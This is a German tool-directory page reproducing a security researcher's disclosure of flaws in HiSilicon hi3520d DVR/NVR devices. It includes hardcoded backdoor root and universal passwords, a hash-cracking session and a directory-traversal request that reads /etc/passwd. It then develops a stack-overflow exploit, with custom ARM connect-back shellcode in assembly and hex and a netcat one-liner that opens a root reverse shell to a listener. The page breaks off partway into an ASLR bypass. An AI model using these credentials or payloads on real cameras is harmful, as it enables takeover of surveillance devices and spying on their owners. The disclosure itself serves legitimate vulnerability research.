Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
pwn-hisilicon-dvr — Proof-of-Concept-Exploit und Offenlegung von Schwachstellen für HiSilicon hi3520d DVR/NVR-Geräte. Demonstriert RCE über die Weboberfläche, Backdoor-Zugangsdaten und Buffer-Overflow-Analyse. | Kitploit
Tools/GitHubGitHub/tothi/pwn-hisilicon-dvr
Embedded-System-SicherheitPasswort-CrackingIoT-SicherheitNetzwerkkartierungSchwachstellenanalyseExploitationReverse EngineeringWebanwendungs-ExploitationInformationsbeschaffungFuzzingBinäranalyse
38390vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
tothi/pwn-hisilicon-dvr

pwn-hisilicon-dvr

Proof-of-Concept-Exploit und Offenlegung von Schwachstellen für HiSilicon hi3520d DVR/NVR-Geräte. Demonstriert RCE über die Weboberfläche, Backdoor-Zugangsdaten und Buffer-Overflow-Analyse.

Repository anzeigen

= HiSilicon DVR Hack Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Inhaltsverzeichnis :image_width: 100%

[abstract] Dieser Bericht legt schwerwiegende Schwachstellen (mit Proof-of-Concept (PoC)-Code) von DVR/NVR-Geräten offen, die mit dem HiSilicon hi3520d und ähnlichen System-on-a-Chip (SoC) aufgebaut sind. Die Ausnutzung der Schwachstellen führt zu unautorisierter Remote-Codeausführung (RCE) allein über die Webschnittstelle, wodurch das betroffene Gerät vollständig übernommen werden kann. Aufgrund fehlender aktualisierter Firmware wird die Verwendung dieser Geräte nicht empfohlen. Der Hersteller wurde vor Dez. 2016 kontaktiert, aber bislang gibt es keine Antwort. Das Veröffentlichungsdatum der Offenlegung ist Feb. 2017.

== Vorwort

Vor ein paar Jahren habe ich ein billiges chinesisches DVR-Gerät bei eBay gekauft. Das Boot-Logo des Geräts zeigt: "SECULINK - Security Monitoring". Als IT-Sicherheits-Enthusiast beschloss ich, mir das Gerät genauer anzusehen, um zu sehen, wie "sicher" dieser Sicherheitsüberwachungsdienst ist. Beim Googeln zu diesem Thema fand ich einige interessante Materialien, grub aber tiefer und entdeckte viel interessantere und ernstere Probleme (0-Days) an dem Gerät.

Werfen wir einen Blick auf die vollständige Hacking-Sitzung von Anfang an. (Die neuen, eigenen Erkenntnisse werden ebenso erwähnt wie die alten, bekannten.)

== Erkundung des DVR

Zuerst sollten wir die offizielle Benutzeroberfläche kennenlernen, dann tiefer graben, vielleicht versuchen, die Firmware zu erhalten. Die Chancen, Schwachstellen zu finden, steigen mit der Firmware.

=== Das DVR-Gerät auf den ersten Blick

Das für Tests vorgesehene DVR-Gerät trägt die Marke "Seculink".

image::./seculink_device.png[Seculink DVR-Gerät]

Verfügbare physische Schnittstellen:

  • 2x USB-Anschlüsse (offiziell für die Maus zur Steuerung der GUI-Konsole),
  • HDMI-Anschluss (und VGA) zum Anschließen eines externen Monitors (für GUI & Kamera- ansichten),
  • 4x BNC-Steckverbinder für analoge CCTV-Kameras,
  • SATA-Anschluss im Inneren zum Anschließen von Speicher für die Aufzeichnung des Videostreams,
  • Ethernet-Anschluss für den Netzwerkzugriff.

Offizielle Benutzeroberflächen:

  • direkter Zugriff über den HDMI- (oder VGA-)Ausgang und USB-Maus / Tastatur als Eingabe für Kameraansicht / -steuerung / vollständige Einrichtung,
  • Netzwerkzugriff über HTTP für Kameraansicht / -steuerung.

Die direkt zugängliche Einrichtungsoberfläche ist durch Benutzerauthentifizierung (Benutzername, Passwort) geschützt. Der Standard-Superuser ist 'admin', das Standardpasswort ist leer.

Nach der Einrichtung eines starken Passworts mag sich der Benutzer sicher fühlen, dass seine/ihre Kameraansicht für andere nicht zugänglich ist. Leute leiten oft den Webport (tcp/80) des DVR-Geräts von ihrem sicheren LAN an die WAN-Seite weiter, um von außen auf die DVR-Streams zuzugreifen (das können wir z. B. mit einer passenden Shodan-Suche überprüfen ;) ).

=== Beschaffung der Firmware

Es gibt möglicherweise viele Wege, um an die Firmware zu gelangen:

  • sie mit einer weichen Methode vom Gerät holen (über die offizielle Schnittstelle oder durch Ausnutzen einer Schwachstelle),
  • sie mit einer harten Methode vom Gerät holen (JTAG, serielle Konsole, usw.),
  • sie im Internet finden und herunterladen (falls verfügbar).

Obwohl die letztere (Download-)Methode hier funktioniert und am einfachsten ist, versuchen wir zuerst die erste, weil sie auch andere Informationen über das Gerät liefert.

=== Service-Scan

Führen wir einen vollständigen Portscan auf dem DVR durch. Beachten Sie, dass der (standardmäßig bei Ausführung als root) SYN-Scan sehr langsam ist, weil Pakete verworfen werden, der vollständige TCP-Connect-Scan aber in ein paar Minuten abgeschlossen ist.


Nmap 7.40 scan initiated Sun Sep 3 01:57:47 2017 as: nmap -v -sV -sT -p- -oA nmap_full 192.168.88.127

Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam

Nmap done at Sun Sep 3 02:00:42 2017 -- 1 IP address (1 host up) scanned in 174.79 seconds


Zusammenfassung und manuelles Testen:

  • 23/tcp ist eine Telnet-Anmeldeschnittstelle, die durch einen Benutzernamen
  • und ein Passwort geschützt ist (nicht die Anwendungsanmeldedaten)
  • 80/tcp ist die Webschnittstelle, die durch die Anwendungsanmeldedaten geschützt ist
  • 554/tcp ist ein RTSP-Dienst; er kann mit einer üblichen RTSP-URL geöffnet werden:

rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp

Beachten Sie, dass das Öffnen des RTSP-Streams ebenfalls Anmeldedaten erfordert.

  • 9527/tcp scheint ein (geheimer?) Dienstport mit einigen sehr interessanten Funktionen zu sein,
  • 34567/tcp und 34599/tcp scheinen Datenports zu sein, die mit der DVR- Anwendung in Zusammenhang stehen.

An dieser Stelle sollten wir festhalten, dass das Gerät vermutlich ein Linux-ähnliches System ist.

Eine Verbindung zu 9527/tcp (mit rohem Netcat) zeigt die Anwendungskonsole mit Logmeldungen und einer Anmeldeaufforderung. Die Anmeldung mit beliebigen der definierten Anwendungsanmeldedaten funktioniert. Die Eingabe von help nach der Aufforderung liefert eine kurze Beschreibung der Konsolenbefehle. Der Befehl shell scheint am interessantesten zu sein. Ja, er gewährt eine Root-Shell auf den Geräten. ;)

Beachten Sie, dass dies offensichtlich ein schwerwiegendes Sicherheitsproblem ist, denn kein (niedrig privilegierter) Anwendungsbenutzer sollte automatisch eine Root-Shell auf dem Gerät erhalten.

=== Root-Shell

Die Erkundung des Geräts in der Root-Shell (z. B. mit dmesg) macht deutlich, dass der DVR einen Linux-Kernel (Version 3.0.8) ausführt, eine ARMv7-CPU besitzt und das SoC-Modell hi3520d ist.

Aus der Liste der laufenden Prozesse (ps) geht hervor, dass die DVR- Anwendung /var/Sofia ist, die zusätzlich zu den oben genannten, von nmap erkannten TCP-Ports auch auf 34568/udp und 34569/udp lauscht (netstat -nlup).

Aus der Liste der eingehängten Datenträger (Befehl mount) geht hervor, dass sich das Firmware-Image in den /dev/mtdblockX-Geräten befindet (wobei X=0,1,2,3,4,5).

Die Firmware ist klein und daher eingeschränkt, also müssen wir kreativ sein, wenn wir Dateien auf das Gerät oder vom Gerät kopieren wollen. Glücklicherweise wird NFS unterstützt, sodass das Einrichten eines NFS-Servers auf unserem Desktop-Rechner und das Einhängen vom DVR aus das Problem löst:


mount -t nfs 192.168.88.100:/nfs /home -o nolock

Nun ist die Beschaffung der Firmware unkompliziert:


cat /dev/mtdblock1 > /home/mtdblock1-root.img cat /dev/mtdblock2 > /home/mtdblock2-usr.img cat /dev/mtdblock3 > /home/mtdblock3-custom.img cat /dev/mtdblock4 > /home/mtdblock4-logo.img cat /dev/mtdblock5 > /home/mtdblock5-mtd.img

Wir können die Dateien (nicht nur die Roh-Images) erhalten:


cp /var/Sofia /home/ tar -cf /home/fs.tar /bin /boot /etc /lib /linuxrc /mnt /opt /root /sbin /share /slv /usr /var

=== Telnet-Schnittstelle

Für den Zugriff auf das Gerät über die Telnet-Schnittstelle (Port 23/tcp) benötigen wir möglicherweise einige OS-Anmeldedaten. Ein Blick in /etc/passwd liefert den Passwort-Hash für den Root-Benutzer:


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

Beachten Sie, dass es außer root keinen weiteren Benutzer gibt; alles läuft mit vollen Rechten. (Wenn also jemand irgendwie in das Gerät eindringt, gibt es keine Barriere; der Angreifer erlangt sofort die volle Kontrolle.)

Unter der Annahme eines sechsstelligen alphanumerischen (Kleinbuchstaben-)Passworts entschlüsselt hashcat den obigen schwachen DES-Hash schnell:


$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

absxcfbgXtb3o:xc3511

Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A

Started: Sun Sep 3 03:25:04 2017 Stopped: Sun Sep 3 03:27:38 2017

Mit dem Benutzer root und dem Passwort xc3511 ist die Anmeldung über die Telnet- Schnittstelle auf Port 23/tcp also möglich. Dieses hartkodierte Root-Konto, das über die nicht schließbare Telnet-Schnittstelle erreichbar ist, ist offensichtlich eine Hintertür.

Diese Ergebnisse waren fast schon vor unserer Forschung von anderen verfügbar, aber das Folgende ist völlig neu.

== Reverse Engineering der Firmware

Bei der Erkundung der Firmware stellt sich heraus, dass die Binärdatei /var/Sofia die Hauptanwendung ist, die jede Schnittstelle außer der Videoverarbeitung und anderen implementiert. Daher scheint diese Binärdatei am interessantesten für uns zu sein.

Leider ist sie (statisch gelinkt und) gestrippt, was die statische Analyse erschwert:


$ file Sofia Sofia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped, with debug_info

Neben der statischen Analyse (mit radare2 oder IDA) sollte also die dynamische Analyse sehr hilfreich sein.

=== Remote-GDB

Für die dynamische Analyse ist es vorteilhaft, den GNU-Projekt-Debugger (GDB) an die entfernte /var/Sofia-Anwendung anzuhängen. Die empfohlene Methode besteht darin, gdbserver auf dem entfernten Gerät auszuführen (und anzuhängen) und gdb vom lokalen Rechner aus zu verbinden.

Natürlich benötigen wir ein gdbserver, das (idealerweise statisch) für die passende ARM-Architektur kompiliert ist. Um es zu bauen, können wir https://www.uclibc.org/[µClibc] verwenden, die empfohlene C-Bibliothek für eingebettete Systeme (wie unseren DVR). Verfügbare Builds sind dynamische Builds, die auf unserem DVR problematisch sind, daher sollten wir eigene statische Builds erstellen. Es gibt eine nette Build-Umgebung namens https://buildroot.org/[Buildroot], die das Bauen out-of-the-box ermöglicht (wählen Sie die benötigten Anwendungen (z. B. gdb) mit make menuconfig, vergessen Sie nicht, statische Bibliotheken zu wählen, und führen Sie dann make aus).

Nach einer kurzen Build-Zeit (~10-15 Min.) sollten alle notwendigen Werkzeuge verfügbar sein. Die statischen Binärdateien können mit der zuvor erwähnten NFS-Methode auf das Gerät übertragen werden. Beachten Sie, dass das Verzeichnis /var, das die Sofia-Binärdatei enthält, ein ramfs ist, also über Neustarts hinweg nicht persistent ist. Wenn wir die Binärdateien (fast) dauerhaft übertragen wollen, sollte die rw-Partition /mnt/mtd, die die Konfigurationsdateien enthält, ein geeignetes Ziel sein. Wenn Sie auch das Paket openssh bauen, ist scp verfügbar, was das Übertragen von Dateien noch einfacher macht.

Nun ist die Firmware bereit für etwas Reverse Engineering. Das entfernte Anhängen von gdbserver funktioniert jetzt (die PID des Sofia-Prozesses erhält man leicht mit ps):


$ /mnt/mtd/gdbserver --attach :2000 610

Verbindung vom lokalen Rechner aus:


$ gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'

Beachten Sie, dass die Verwendung einer GDB-Erweiterung (wie http://gef.readthedocs.io/en/master/[GEF]) empfohlen wird. Wenn das Anhalten der Anwendung aus irgendeinem Grund nicht funktioniert (mit C-c), sollte das Senden eines TRAP- Signals an den Sofia-Prozess (mit kill -TRAP 610) diese anhalten.

=== Untersuchung des Authentifizierungsverfahrens

Das empfohlene Werkzeug für die statische Analyse ist offensichtlich Hex-Rays' https://www.hex-rays.com/products/ida/[IDA Pro]. Leider ist es nicht billig, aber viel besser als alle anderen Werkzeuge.

Nach der anfänglichen Auto-Analyse gibt es 15.000+ Funktionen, aber das Finden der Auth-Funktion dauert mit IDA nur einen Moment (mit einfacher Python-Skripterstellung). Das https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] Snippet unten sucht nach allen Funktionen, die Verweise auf irgendetwas im Zusammenhang mit "Users" und "Password" enthalten (gleichzeitig):

[source,python]

x1, x2 = set(), set() for loc, name in Names(): if "Users" in name: for addr in XrefsTo(loc): x1.add(GetFunctionName(addr.frm)) elif "Password" in name: for addr in XrefsTo(loc): x2.add(GetFunctionName(addr.frm)) print x1 & x2

Das Ergebnis ist nur eine Funktion: sub_2D857C. Eine kurze Analyse dieser Funktion bestätigt, dass dies die Authentifizierungsfunktion sein sollte.

Es gibt eine anfängliche Prüfung des Klartext-Passworts gegen eine hartkodierte Zeichenkette (bevor der Passwort-Hash des Benutzers aus der Konfiguration geholt wird). Wenn sie besteht, wird die Authentifizierung gewährt. Dies ist eine hässliche Hintertür in der Anwendung. Das universelle Passwort lautet: I0TO5Wv9.

Mit diesem Passwort können wir als beliebiger Benutzer (z. B. admin) auf alles in der Anwendung zugreifen. Zum Beispiel das Abrufen des Videostreams:


$ cvlc 'rtsp://192.168.88.127:554/user=admin&password=I0TO5Wv9&channel=1&stream=0.sdp'

Oder das Erlangen einer Root-Shell auf der Anwendungskonsole (9527/tcp) funktioniert ebenfalls:


$ nc 192.168.88.127 9527 nc: using stream socket

username:admin password:I0TO5Wv9 login(admin, ******, Console, address:) admin$

Ein weiteres interessantes Ergebnis im Authentifizierungsalgorithmus: unter bestimmten Umständen akzeptiert die Auth-Funktion nicht nur das Passwort, sondern auch den Hash. Das Öffnen des RTSP-Videostreams ist nicht nur mit dem Passwort, sondern auch mit dem Hash möglich (der in /mnt/mtd/Config/Account1 gespeichert ist). Zum Beispiel ist tlJwpbo6 der Hash des leeren Passworts (siehe auch nächster Abschnitt), also``` cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp' cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'

root@kitploit:~
funktioniert auch.


=== Passwort-Hashfunktion

Ein weiteres Ergebnis der tiefergehenden statischen Analyse der Auth-Funktion: Die
Passwort-Hashfunktion ist `sub_3DD5E4`. Es ist im Grunde MD5 mit einigen
seltsamen Transformationen. Rückentwickelt und in Python implementiert:

[source,python]
----
import hashlib

def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h
----

Mit dem implementierten Hash-Algorithmus ist es möglich, Passwörter per Brute Force zu knacken oder beliebige Passwörter zu setzen.


== Pufferüberlauf im integrierten Webserver

Das Sofia-Binary verarbeitet die HTTP-Anfragen auf Port 80/tcp. Versuchen wir
etwas Fuzzing mit den Anfragen. Natürlich sollte das Anhängen von gdb (siehe oben)
hilfreich sein. Eigentlich sollten wir den Sofia-Prozess beenden und ihn mit
gdbserver neu starten, um auch die Konsolenausgabe zu sehen:

----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----

Und lokal:

----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef>  c
----

Nun schauen wir uns die GET-Anfragen an. Keine Antwort:

----
$ echo 'GET /' | nc 192.168.88.127 80
----

Normale Antwort (auch ohne ordnungsgemäßes Abschließen und/oder Zeilenumbruch am Ende):

----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----

Test auf einen Overflow mit einer sehr langen Anfrage:

----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' |  nc 192.168.88.127 80
----

Schön. Die Antwort ist ein 200 mit einer „404 File Not Found“-Meldung, aber wir
können im gdb einen wunderbaren Absturz sehen. ;)

Beachte, dass ein Watchdog-Kernelmodul für die Sofia-Anwendung aktiviert ist.
Wenn sie eine Minute lang nicht läuft, startet das Gerät neu. Das ist einerseits
gut, wenn wir mit einem entfernten Gerät experimentieren, aber andererseits
schlecht, wenn wir reibungslos debuggen möchten.

Der Watchdog kann nicht deaktiviert werden, sobald er gestartet wurde. Der einzige
Weg, ihn loszuwerden, besteht darin, die schreibgeschützte Firmware durch Reflashing
zu verändern. Es wird nicht empfohlen, außer wir wollen unser Testgerät brick-en. ;)


=== Steuerung des Programmablaufs

Warum ist der Absturz (aus Sicht eines Angreifers) wunderbar? Der entfernte Prozess
Sofia hat SIGSEGV (Segmentation Fault) erhalten, der Stack ist mit unseren
„a“-Zeichen gefüllt, aber das Wichtigste ist: Das `$pc`-Register (Programmzähler)
enthält unseren injizierten Wert `0x61616160` („aaaa“ - 1)
(wahrscheinlich durch ein `ret` ausgelöst, aber die Ursache ist nicht wichtig). Das
sollte ein klassischer Stack-Overflow sein, und das bedeutet, dass wir die Chance
haben, den Programmablauf leicht zu steuern.

Nach einigen Experimenten (durch Intervallhalbierung):

----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' |  nc 192.168.88.127 80
----

Auch dies führt zu SIGSEGV, und das `$pc`-Register ist `0x7a797876`
(~„wxyz“; umgekehrt, weil die Byte-Reihenfolge Little-Endian ist; und -1
wegen der Ausrichtung). Unser Payload beginnt (mit „0123aaa...“) bei $sp+0x14
(Stack-Basis + 0x14).


=== Remote-Codeausführung

Einen solchen Overflow am einfachsten und effektivsten auszunutzen, besteht darin,
etwas Shellcode in den Stack zu injizieren und den Programmfluss dorthin umzuleiten.
Auf diese Weise erhalten wir beliebige Remote-Codeausführung auf dem Ziel. Da es auf
dem Geräte-Betriebssystem keine Privilegientrennung gibt, bedeutet das volle Kontrolle
(Root-Shell-Zugriff).

Allerdings könnten (moderne) Exploit-Mitigation-Techniken aktiviert sein, die das
Leben eines Angreifers erheblich erschweren.

Die grundlegendste Methode zum Schutz vor Shellcodes auf dem Stack ist die
No-eXecute (NX)-Bit-Technologie. Sie kann die Ausführung von Code auf ausgewählten
Speicherseiten verhindern (normalerweise Seiten mit Schreibberechtigung wie der Stack).
Glücklicherweise (aus Sicht des Angreifers ;) ) ist kein NX-Bit gesetzt
(siehe STACK-Flags, rwx):

----
$ objdump -b elf32-littlearm -p Sofia

Sofia:     file format elf32-littlearm

Program Header:
0x70000001 off    0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
         filesz 0x000132a8 memsz 0x000132a8 flags r--
    LOAD off    0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
         filesz 0x005371dc memsz 0x005371dc flags r-x
    LOAD off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
         filesz 0x000089c8 memsz 0x000dad8c flags rw-
     TLS off    0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
         filesz 0x00000004 memsz 0x00000018 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----

oder einfach `checksec` in gdb gef verwenden. `checksec` in gdb gef sagt uns auch,
dass keine weiteren Schutzmaßnahmen wie Stack-Canary vorhanden sind (was
offensichtlich ist, da wir `$pc` nicht per Stack-Overflow steuern könnten, wenn
ein Stack-Canary vorhanden wäre).

Das Einzige, was wir wissen müssen, bevor die RCE funktioniert, ist die Stack-Adresse.
Wir sollten die Adresse `$sp+0x14` an der entsprechenden Stelle unseres Payloads
(„wxyz“ oben) injizieren, um den Programmfluss zum Shellcode umzuleiten.

Es gibt außerdem eine Schutztechnik, die das erschweren könnte (oder sehr schwer,
in manchen Fällen fast unmöglich): Address Space Layout Randomization (ASLR).
ASLR randomisiert die Basisadressen der Speichersegmente (z. B. die Basisadresse
des Stacks).

Pech gehabt: ASLR ist aktiviert („2“ bedeutet vollständige Randomisierung, „0“ ist deaktiviert):

----
$ cat /proc/sys/kernel/randomize_va_space 
2
----


==== RCE ohne ASLR

Versuchen wir zuerst, den Overflow bei deaktiviertem ASLR auszunutzen.

----
$ echo 0 > /proc/sys/kernel/randomize_va_space 
----

Wenn wir wie oben vorgehen, sehen wir, dass die Stack-Adresse ($sp) zum Zeitpunkt
des SIGSEGV-Absturzes `0x5a26f3d8` beträgt (und sie ist bei verschiedenen Läufen
mit deaktiviertem ASLR dieselbe).

Der Payload sollte also wie folgt aussehen:

----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----

wobei der Shellcode etwas sein sollte, das wir ausführen möchten, vorzugsweise ein
Connectback-Shellcode. Beachte, dass es „Badchars“ gibt, die vermieden werden müssen:
0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?').
Außerdem gibt es ein Größenlimit von 299 Bytes. Shellcode-Generatoren können nicht
mit unserer Badchar-Liste umgehen; selbst automatisierte Encoder können das Problem
nicht lösen (wegen des Größenlimits).

Daher muss ein eigener Shellcode erzeugt werden. Der Shellcode hier erzeugt eine
Connectback-Shell mithilfe der Systemaufrufe socket, connect, dup2 und execve
(bzw. Supervisor Calls in der Terminologie der ARM-Welt). Wir müssen streng und
kreativ sein, um Badchars zu vermeiden. Labels sollten nicht verwendet werden; sie
dienen nur der besseren Lesbarkeit.

[source,asm]
----
.section    .text
.global     _start

@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0:    add  r1, pc, #1
_4:    bx   r1

@ thumb mode instructions
_start:
.code 16

@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8:    add  r1, pc, #68      @ r1 <- pc+68 = 0xc+68 = 0x50
_a:    ldrb r2, [r1, #2]     @ r2 <- *0x52
_c:    sub  r2, #1           @ r2 <- r2-1
_e:    strb r2, [r1, #2]     @ r2 -> *0x52

@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10:   mov  r1, #2          @ r1 <- 2
_12:   add  r0, r1, #0      @ r0 <- r1 + 0 = 2
_14:   mov  r1, #1          @ r1 <- 1
_16:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_18:   lsl  r7, r1, #8      @ r7 <- r1<<8 = 1<<8 = 256
_1a:   add  r7, #25         @ r7 <- r7 + 25 = 281
_1c:   svc  1               @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)

@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e:   add  r6, r0, #0       @ r6 <- r0 + 0 = &socket
_20:   add  r1, pc, #44      @ r1 <- pc+44 = 0x24+44 = 0x50
_22:   mov  r3, #2           @ r3 <- 2
_24:   strh r3, [r1, #0]     @ 2 -> *0x50
_26:   mov  r2, #16          @ r2 <- 16
_28:   add  r7, #2           @ r7 <- r7 + 2 = 283
_2a:   svc  1                @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)

@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c:   mov  r7, #62       @ r7 <- 62
_2e:   add  r7, #1     	  @ r7 <- r7 + 1 = 63
_30:   mov  r1, #200      @ r1 <- 200

_32:   add  r0, r6, #0    @ r0 <- r6 + 0 = &socket
_34:   svc  1             @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36:   sub  r1, #1        @ r1 <- r1 - 1
_38:   bpl  _32           @ loop until r1>0 (dup2 every fd to the socket)

@ execve('/bin/sh', NULL, NULL)
_3a:   add  r0, pc, #28     @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c:   sub  r2, r2, r2      @ r2 <- r2 - r2 = 0
_3e:   strb r2, [r0, #7]    @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40:   push {r0, r2}        @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42:   mov  r1, sp          @ r1 <- sp
_44:   mov  r7, #11         @ r7 <- 11
_46:   svc  1               @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)

_48:   mov  r7, #1          @ r7 <- 1
_4a:   add  r0, r7, #0      @ r0 <- r7 + 0 = 1
_4c:   svc  1               @ svc_1(r0) = exit(1)

_4e:   nop

@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50:   .short 0xffff
_52:   .short 0x697b            @ port 31377 (hex(31337+0x100) in little-endian)
_54:   .byte 192,168,88,100   	@ inet addr: 192.168.88.100
_58:   .ascii "/bin/shX"      	@ 'X' will be replaced with \x00 by the shellcode

.word 0xefbeadde        @ deadbeef ;)
----

Um den Shellcode zu kompilieren und die rohen Binärbytes zu erhalten (jedes
Cross-Tool für ARM sollte funktionieren, z. B. auch die mit Buildroot in
`buildroot-2017.02.5/output/host/usr/bin/` erstellten):

----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----

Wenn dies zusammen mit dem Payload injiziert wird, sollte der Exploit funktionieren
und eine Connectback-Shell auf dem entfernten Gerät bereitstellen.

Natürlich zunächst einen Listener auf `192.168.88.100` starten:

----
$ nc -nvlp 31337
----

Dann den Payload starten:

----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex");  print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80 
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0

<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----

Der Exploit sollte funktionieren! :) Im lokalen gdb:

----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----

Und die RCE ist auf dem Netcat-Listener bereit:

----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----

Nun ist es möglich, beliebige Befehle (als root!) auf dem entfernten System auszuführen.

Aber leider ist der Exploit noch nicht für den Einsatz in der realen Welt bereit,
denn ASLR ist aktiviert und daher kennen wir die Startadresse des Shellcodes nicht.
Noch nicht.


==== ASLR überwinden

ASLR zu überwinden ist keine leichte Aufgabe, aber oft mit etwas Kreativität machbar.
Üblicherweise gibt es zwei Wege, dies zu tun:

* eine Schwachstelle im Randomizer zu finden und sie per Brute Force oder einem partiellen Leak / partiellem Overwrite anzugreifen,
* die randomisierten Speicheradressen des entfernten Binärprogramms zu leaken.

Brute Forcing scheint hier nutzlos zu sein (das Auslösen einer ungültigen Adresse
verursacht einen Absturz und einen langsamen Neustart), daher scheint nur das
Leaken praktikabel zu sein (falls wir eines finden).

Nach langer Recherche musste fast aufgegeben werden; es konnte kein Leak gefunden
werden, aber dann kam eine Idee aus einer völlig anderen Richtung.

Es gibt eine weitere Schwachstelle im Webserver, eine klassische
Directory-Traversal-Schwachstelle. Tatsächlich funktioniert sie auch zum Auflisten
von Verzeichnissen (das wird ebenfalls wichtig sein).

Die Directory-Traversal-Schwachstelle bedeutet:

----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0

root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----

und wir können auch eine Verzeichnisliste abrufen:

----
